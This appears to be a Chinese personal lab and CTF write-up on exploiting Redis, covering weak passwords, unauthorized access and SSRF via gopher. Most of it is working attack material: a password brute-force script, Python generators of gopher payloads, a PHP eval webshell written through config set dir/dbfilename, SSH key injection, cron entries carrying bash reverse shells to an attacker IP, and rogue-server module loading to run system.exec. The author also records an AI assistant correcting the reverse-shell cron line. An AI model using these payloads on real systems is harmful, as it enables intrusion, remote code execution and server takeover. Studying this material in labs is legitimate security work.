目录
- 前置知识
- redis持久化存储
- 动态修改配置
- 打redis常用命令
- 利用
- 弱口令
- 未授权访问
- 写ssh公钥
- 直接写
- ssrf
- 绝对路径写shell
- 直接写
- ssrf
- 反弹shell
- 直接写
- ssrf
- 主从复制
- 防御措施
前置知识
redis持久化存储
RDB Redis DataBase(默认)
AOF Append Only File(会追加日志文件)
配置:
1、 save <自定义单位时间/秒> <单位时间内改变的文件数> #自动触发规则
save 3600 1(3600秒内有至少一个文件被改变就刷新磁盘)
可配置多条规则同时生效
2、dbfilename dump.rdb #dump.rdb是默认保存文件名
3、dir#存储路径
手动触发保存命令:save /bgsave
动态修改配置
这里dbfilename可以是任意后缀,这就可能导致写入木马。
打redis常用命令
1. INFO 用于获取 Redis 服务器的信息,包括主从状态、内存使用情况等。 示例:INFO replication2. SLAVEOF用来设置某个 Redis 实例为另一个实例的从节点。 示例:SLAVEOF <master-ip> <master-port>(注:可以用SLAVEOF no one来解除主从关系)3. CONFIG SET用来修改 Redis 配置,例如设置从节点的主节点。示例:CONFIG SET slaveof <master-ip> <master-port> 其他配置示例:CONFIG SET dir /root/redis:设置保存目录。CONFIG SET dbfilename redis.rdb:设置保存文件名。CONFIG SET protected-mode no:关闭安全模式。4. CONFIG GET 用来获取 Redis 的当前配置。 示例:CONFIG GET dir:查看保存目录。CONFIG GET dbfilename:查看保存文件名。5. PING用于测试与 Redis 服务器的连接,成功时返回PONG。 示例:PING6. SET设置键值对。 示例:SET key value(键的值若包含空格,需用双引号括起来,如"Hello World")7. MSET批量设置键值对。 示例:MSET k1 v1 k2 v2 k3 v38. GET获取指定键的值。 示例:GET key9. MGET批量获取多个键的值。 示例:MGET k1 k2 k310. INCR对指定键的值进行自增操作。 示例:INCR score11. KEYS列出当前数据库中所有的键。 示例:KEYS12. DEL删除指定的键。 示例:DEL key13. FLUSHALL清空所有数据库中的数据。 示例:FLUSHALL14. SAVE 手动进行一次数据保存,将数据写入到磁盘。 示例:SAVE15. EVAL执行 Lua 脚本,可以用来执行复杂的操作。 示例:EVAL "your_lua_script" 016. redis-cli -h <ip> -p 6379 -a <passwd> 用于通过 IP(或域名)和端口连接 Redis 实例。 示例:redis-cli -h 192.168.1.1 -p 6379 -a password
---
说明:
Redis 命令大小写不敏感,SET 和 set 是等效的。
如果获取一个不存在的键,Redis 会返回 (nil)。
利用
弱口令
顾名思义。。。
参考文章里面的爆破脚本
import requeststarget = "http://x.x.x.x:6666/index.php?url=" # 请输入目标url
rhost = "127.0.0.1"
rport = "6379"with open("passwords.txt","r+") as file:passwds = file.readlines()for passwd in passwds:passwd = passwd.strip("\n")len_pass = len(passwd)payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524"+str(len_pass)+r"%250d%250a"+passwd+r"%250D%250A%252A1%250D%250A"url = target+str(payload)text = requests.get(url).textif "OK" in text:print("[+] 爆破成功 密码为: " + passwd)print(text + payload)break
未授权访问
在 redis.conf 的配置文件中,有两个关键的配置会造成 Redis 未授权访问
- bind x.x.x.x
配置允许登陆 redis 服务的 ip,默认是 127.0.0.1(本机登录)
如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆 - protected-mode
功能是自 redis 3.2 之后设置的保护模式,默认为 yes,其作用就是如果 redis 服务没有设置密码并且没有配置 bind 则会只允许 redis 服务本机进行连接,设置为no就会运行任意主机连接
以下几个利用方式都是在通过前两个方式取得redis权限后才可以利用。
写ssh公钥
直接写
这玩意官方都不认为是个漏洞,纯纯就是用户安全配置不当导致的,但凡开个防火墙什么的都可以避免。
利用redis未授权漏洞,webshell写入,ssh公钥写入,计划任务反弹shell
环境搭建: centos7,kali
这里环境配了一个晚上,各种各样问题(为什么别人复现的文章好像都没问题,一到我就各种问题🤯)。
第一个是防火墙关闭,redis配置文件已经把bind 127.0.0.1注释,并且关闭安全保护模块了,kali仍然不能连接redis服务器,另一个是访问php网站没解析而是在页面源代码里面出现源码的问题。
第一个问题网上搜半天没结果,不过gpt给了一个可行方案:
如果您手动启动服务器仅用于测试,请使用’–protected-mode no’选项重新启动它。如果您手动启动服务器仅用于测试,请使用’–protected-mode no’选项重新启动它。
redis-server --protected-mode no
第二个问题https://blog.csdn.net/wkh___/article/details/83540713,当然也可以自己上网搜来解决
第三个问题(这个巨坑,搞了两天才发现是这个问题,之前还以为是centos没dict服务才导致的,还tm傻傻的看了一下午centos如何搭建字典服务),redis要注册成服务,否则dict协议探测不到:https://blog.csdn.net/q309572960/article/details/120855670
第四个问题:检查 SELinux 是否处于 enforcing 模式,如果是,可以尝试暂时将其设置为 permissive 或 disabled模式。
开始实验:
先在centos写个网站首页index.php:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 添加这一行以返回结果而不是直接输出
$result = curl_exec($ch);
curl_close($ch);if ($result === false) {echo 'Curl error: ' . curl_error($ch);
} else {echo $result; // 输出cURL请求的结果
}highlight_file(__FILE__);
?>
nmap 192.168.93.130无法探测到redis端口,必须指定扫描6379才探测到开放,也不知道为啥
nmap 192.168.93.130 -p 6379
kali测试联通性,存在未授权访问
测试是否存在ssrf:访问centos服务器首页:为了测试我在网站下面写了个1.txt,先http协议读取一下
读取成功可以访问内部资源
dict协议探测redis
这里还有个条件,受害机需要有.ssh目录:mkdir /root/.ssh
在攻击机中生成ssh公钥和私钥,密码设置为空:ssh-keygen -t rsa
进入.ssh目录,然后将生成的公钥写入 ceshi.txt 文件
cd /root/.ssh
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) >ceshi.txt
把ceshi.txt给cp到桌面或者其他好打开的地方打开
然后kali如下图执行命令,向目标机写入公钥
靶机检查是否写入
采用密钥连接靶机
ssrf
这里直接用参考文章的脚本了,但是要声明python2和utf-8编码
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
import urllib
protocol="gopher://"
ip="192.168.6.130"
port="6379"
sshpublic_key = "\n\n\n"+"id_rsa.pub里的内容粘贴替换这里"+"\n\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall","set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print payloadprint "二次url编码后的结果:\n" + urllib.quote(payload)
还是进入root/.ssh生成密钥
运行上述脚本传入payload
查看靶机是否生成key
连接ssh -i id_rsa root@192.168.6.130
绝对路径写shell
条件:
redis 有 root
知道网站绝对路径
直接写
flushall
set 1 '<?php @eval($_REQUEST["cmd"]); ?>'
config set dir '/var/www/html'
config set dbfilename test.php
save
ssrf
由于此时是后端服务器向 redis 服务器发起请求,因此发送的内容需要转换成 RESP 协议的格式,通过结合 gopher 协议达到写入 shell 的目的
#!/usr/bin/env python2
# -*-coding:utf-8-*-import urllib
protocol="gopher://" # 使用的协议
ip="192.168.6.132"
port="6379" # 目标redis的端口号
shell="\n\n<?php @eval($_REQUEST['cmd']); ?>\n\n"
filename="shell.php" # shell的名字
path="/var" # 写入的路径
passwd="" # 如果有密码 则填入
# 我们的恶意命令
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print payloadprint "二次url编码后的结果:\n" +urllib.quote( payload)
不过这边传payload之后一直在加载中,估计是我网络不太好。就不放图了。
反弹shell
条件:
redis 有 root
centos:
由于 redis 输出的文件都是 644 权限,但是 ubuntu 中的定时任务一定要 600 权限才能实现所以这个方法只适用于 centos
直接写
参考文章里面命令复制过来。填的是自己攻击机机ip。
flushall
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.6.128/4444 0>&1\n\n\n\n"
config set dir '/var/spool/cron'
config set dbfilename root
save
连接上但是报了个错是怎么回事
AI:
cron 任务的格式应该是 * * * * * command_to_run,其中 command_to_run 是要执行的命令,而不需要指定用户,因为 cron 会根据 /var/spool/cron 下文件的所有者来确定以哪个用户身份执行任务。
正确的 cron 任务格式应该是 "* * * * * bash -i >& /dev/tcp/192.168.6.128/4444 0>&1",这里不需要 root 关键字,因为 cron 会以 root 身份运行,该关键字会导致命令执行错误。
正确命令:
flushall
set 1 "\n\n\n\n* * * * * bash -i >& /dev/tcp/192.168.6.128/4444 0>&1\n\n\n\n"
config set dir '/var/spool/cron'
config set dbfilename root
save
分析:
在执行 config set dir ‘/var/spool/cron’ 和 config set dbfilename root 之前,当你使用 set 1 “\n\n\n\n* * * * * bash -i >& /dev/tcp/192.168.6.128/4444 0>&1\n\n\n\n” 时,该数据会被存储在 Redis 的内存中。
config set dir '/var/spool/cron'
config set dbfilename root会创建/var/spool/cron/root这个文件
当你执行 save 命令时,Redis 会将当前内存中的数据以快照的形式保存到磁盘上。
save这一步会触发 Redis 的持久化操作。由于之前通过 config set 命令修改了存储目录和文件名,Redis 会将当前的数据(包括键 1 和其对应的值)保存到 /var/spool/cron/root 文件中。
ssrf
kali开个nc监听,运行下面脚本
import urllib.parse
protocol = "gopher://"
ip = "192.168.6.130"#受害机ip
port = "6379"
reverse_ip = "192.168.6.128"
reverse_port = "4444"
cron = "\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/{}/{} 0>&1\n\n\n\n".format(reverse_ip, reverse_port)
filename = "root"
path = "/var/spool/cron"
passwd = ""
cmd = ["flushall","set 1 {}".format(cron.replace(" ", "${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"def redis_format(arr):CRLF = "\r\n"redis_arr = arr.split(" ")cmd = ""cmd += "*" + str(len(redis_arr))for x in redis_arr:cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")cmd += CRLFreturn cmdif __name__ == "__main__":for x in cmd:payload += urllib.parse.quote(redis_format(x))print(payload)print("二次 url 编码后的结果:\n" +urllib.parse.quote(payload))"""把下面payload传进去即可,我下图中多传了个http://什么什么的不过没影响到反弹。
gopher%3A//192.168.6.130%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252463%250D%250A%250A%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.6.128/4444%25200%253E%25261%250A%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A/var/spool/cron%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
"""
主从复制
经典题目[网鼎杯 2020 玄武组]SSRFMe,复现参考https://www.freebuf.com/articles/web/293030.html
<?php
function check_inner_ip($url)
{$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);if (!$match_result){die('url fomat error');}try{$url_parse=parse_url($url);}catch(Exception $e){die('url fomat error');return false;}$hostname=$url_parse['host'];$ip=gethostbyname($hostname);$int_ip=ip2long($ip);return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}function safe_request_url($url)
{if (check_inner_ip($url)){echo $url.' is inner ip';}else{$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);$result_info = curl_getinfo($ch);if ($result_info['redirect_url']){safe_request_url($result_info['redirect_url']);}curl_close($ch);var_dump($output);}}
if(isset($_GET['url'])){$url = $_GET['url'];if(!empty($url)){safe_request_url($url);}
}
else{highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
check_inner_ip($url)这是一个 PHP 函数,用于检查给定的 URL 是否是内网 IP 地址。下面是函数的解读:
首先,函数使用正则表达式来检查 URL 的格式是否正确。如果 URL 格式不正确,函数将退出并输出错误信息 "url fomat error"。
如果 URL 格式正确,函数将使用 parse_url 函数将 URL 解析成各个组件,包括主机名(host)。
然后,函数使用 gethostbyname 函数将主机名转换为 IP 地址。
将 IP 地址转换为整数形式,使用 ip2long 函数。
最后,函数检查整数形式的 IP 地址是否属于内网 IP 地址范围。内网 IP 地址范围包括:127.0.0.0/8(localhost)10.0.0.0/8172.16.0.0/12192.168.0.0/16函数使用位操作符(>>)来检查 IP 地址是否在这些范围内。如果是,函数返回 true,否则返回 false。
总的来说,这个函数可以用于检查 URL 是否指向内网 IP 地址,如果是,返回 true,否则返回 false。
linux中0.0.0.0可以代替127.0.0.1.url=http://0.0.0.0/hint.php,访问得到redis密码root
用到的两个工具,
https://github.com/n0b0dyCN/redis-rogue-server
redis-rogue-server,未授权使用
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
Awsome-Redis-Rogue-Server,有授权使用
将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块
自己的vps(我上网买的,正好cloudcone促销活动)上面开启主服务
python3 redis_rogue_server.py -v -path exp.so -lport 21000
设置备份路径
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
gopher://0.0.0.0:6379/_auth root(登录)
config set dir /tmp/(将 Redis 的工作目录更改为 /tmp/,这意味着 Redis 将在该目录下保存其数据库文件)
quit(退出)
加载exp.so
重新登录 生成一个exp.so文件 在进行主从同步(ip改为本地),退出
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25201.xx.xx.xx%252021000%250d%250aquit
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so(设置Redis的备份文件名(即导出文件名)为exp.so 。默认情况下,Redis的备份文件名是dump.rdb)
slaveof 1.xx.xx.xx 21000
quit
执行之后,主从同步能够看到回显,会一直同步
加载模块
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit
gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit
关闭关闭主从同步
gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit
gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit
导出数据库
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit
gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit
获取flag
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit
gopher://0.0.0.0:6379/_auth root
system.exec “cat /flag”
quit
反弹shell的方法我这边报错
string(97) "+OK -ERR unknown command `system.rev`, with args beginning with: `xxx.xxx.xxx.xxx`, `6666`, +OK "
不知道为什么T_T,就只能用第一种方法实现
防御措施
推荐redis部署在内网而不是外网。
参考文章:
https://www.cnblogs.com/wjrblogs/p/14456190.html
https://blog.csdn.net/unexpectedthing/article/details/121667613